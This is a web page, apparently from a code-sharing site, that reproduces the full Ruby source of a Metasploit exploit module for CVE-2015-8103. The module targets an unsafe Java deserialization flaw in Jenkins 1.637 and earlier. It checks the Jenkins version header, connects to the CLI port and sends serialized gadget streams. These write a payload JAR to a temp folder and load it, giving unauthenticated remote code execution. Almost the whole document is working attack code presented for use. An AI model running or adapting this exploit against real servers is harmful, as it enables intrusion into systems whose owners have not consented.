扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 |
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Jenkins CLI RMI Java Deserialization Vulnerability', 'Description'=> %q{ This module exploits a vulnerability in Jenkins. An unsafe deserialization bug exists on the Jenkins master, which allows remote arbitrary code execution. Authentication is not required to exploit this vulnerability. }, 'Author' => [ 'Christopher Frohoff', # Vulnerability discovery 'Steve Breen', # Public Exploit 'Dev Mohanty', # Metasploit module 'Louis Sato',# Metasploit 'William Vu',# Metasploit 'juan vazquez',# Metasploit 'Wei Chen' # Metasploit ], 'License'=> MSF_LICENSE, 'References' => [ ['CVE', '2015-8103'], ['URL', 'https://github.com/foxglovesec/JavaUnserializeExploits/blob/master/jenkins.py'], ['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'], ['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'], ['URL', 'https://wiki.jenkins-ci.org/display/SECURITY/Jenkins+Security+Advisory+2015-11-11'] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets'=> [ [ 'Jenkins 1.637', {} ] ], 'DisclosureDate' => 'Nov 18 2015', 'DefaultTarget' => 0)) register_options([ OptString.new('TARGETURI', [true, 'The base path to Jenkins in order to find X-Jenkins-CLI-Port', '/']), OptString.new('TEMP', [true, 'Folder to write the payload to', '/tmp']), Opt::RPORT('8080') ], self.class) end def exploit unless vulnerable? fail_with(Failure::Unknown, "#{peer} - Jenkins is not vulnerable, aborting...") end invoke_remote_method(set_payload) invoke_remote_method(class_load_payload) end # This is from the HttpClient mixin. But since this module isn't actually exploiting # HTTP, the mixin isn't used in order to favor the Tcp mixin (to avoid datastore confusion & # conflicts). We do need #target_uri and normlaize_uri to properly normalize the path though. def target_uri begin # In case TARGETURI is empty, at least we default to '/' u = datastore['TARGETURI'] u = "/" if u.nil? or u.empty? URI(u) rescue ::URI::InvalidURIError print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" raise Msf::OptionValidateError.new(['TARGETURI']) end end def normalize_uri(*strs) new_str = strs * "/" new_str = new_str.gsub!("//", "/") while new_str.index("//") # Makes sure there's a starting slash unless new_str[0,1] == '/' new_str = '/' + new_str end new_str end def check result = Exploit::CheckCode::Safe begin if vulnerable? result = Exploit::CheckCode::Vulnerable end rescue Msf::Exploit::Failed => e vprint_error(e.message) return Exploit::CheckCode::Unknown end result end def vulnerable? res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path) }) unless res fail_with(Failure::Unknown, 'The connection timed out.') end http_headers = res.headers unless http_headers['X-Jenkins-CLI-Port'] vprint_error('The server does not have the CLI port that is needed for exploitation.') return false end if http_headers['X-Jenkins'] && http_headers['X-Jenkins'].to_f <= 1.637 @jenkins_cli_port = http_headers['X-Jenkins-CLI-Port'].to_i return true end false end # Connects to the server, creates a request, sends the request, # reads the response # # Passes +opts+ through directly to Rex::Proto::Http::Client#request_cgi. # def send_request_cgi(opts={}, timeout = 20) if datastore['HttpClientTimeout'] && datastore['HttpClientTimeout'] > 0 actual_timeout = datastore['HttpClientTimeout'] else actual_timeout =opts[:timeout] || timeout end begin c = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT']) c.connect r = c.request_cgi(opts) c.send_recv(r, actual_timeout) rescue ::Errno::EPIPE, ::Timeout::Error nil end end def invoke_remote_method(serialized_java_stream) begin socket = connect(true, {'RPORT' => @jenkins_cli_port}) print_status 'Sending headers...' socket.put(read_bin_file('serialized_jenkins_header')) vprint_status(socket.recv(1024)) vprint_status(socket.recv(1024)) encoded_payload0 = read_bin_file('serialized_payload_header') encoded_payload1 = Rex::Text.encode_base64(serialized_java_stream) encoded_payload2 = read_bin_file('serialized_payload_footer') encoded_payload = "#{encoded_payload0}#{encoded_payload1}#{encoded_payload2}" print_status "Sending payload length: #{encoded_payload.length}" socket.put(encoded_payload) ensure disconnect(socket) end end def print_status(msg='') super("#{rhost}:#{rport} - #{msg}") end # # Serialized stream generated with: # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/CommonsCollections3.java # def set_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", 'serialized_file_writer' ), 'rb') decoded = stream.decode(handle) handle.close inject_payload_into_stream(decoded).encode end # # Serialized stream generated with: # https://github.com/dmohanty-r7/ysoserial/blob/stager-payloads/src/main/java/ysoserial/payloads/ClassLoaderInvoker.java # def class_load_payload stream = Rex::Java::Serialization::Model::Stream.new handle = File.new(File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8103', 'serialized_class_loader' ), 'rb') decoded = stream.decode(handle) handle.close inject_class_loader_into_stream(decoded).encode end def inject_class_loader_into_stream(decoded) file_name_utf8 = get_array_chain(decoded) .values[2] .class_data[0] .values[1] .values[0] .values[0] .class_data[3] file_name_utf8.contents = get_random_file_name file_name_utf8.length = file_name_utf8.contents.length class_name_utf8 = get_array_chain(decoded) .values[4] .class_data[0] .values[0] class_name_utf8.contents = 'metasploit.Payload' class_name_utf8.length = class_name_utf8.contents.length decoded end def get_random_file_name @random_file_name ||= "#{Rex::FileUtils.normalize_unix_path(datastore['TEMP'], "#{rand_text_alpha(4 + rand(4))}.jar")}" end def inject_payload_into_stream(decoded) byte_array = get_array_chain(decoded) .values[2] .class_data .last byte_array.values = payload.encoded.bytes file_name_utf8 = decoded.references[44].class_data[0] rnd_fname = get_random_file_name register_file_for_cleanup(rnd_fname) file_name_utf8.contents = rnd_fname file_name_utf8.length = file_name_utf8.contents.length decoded end def get_array_chain(decoded) object = decoded.contents[0] lazy_map = object.class_data[1].class_data[0] chained_transformer = lazy_map.class_data[0] chained_transformer.class_data[0] end def read_bin_file(bin_file_path) data = '' File.open(File.join( Msf::Config.data_directory, "exploits", "CVE-2015-8103", bin_file_path ), 'rb') do |f| data = f.read end data end end |
体验盒子
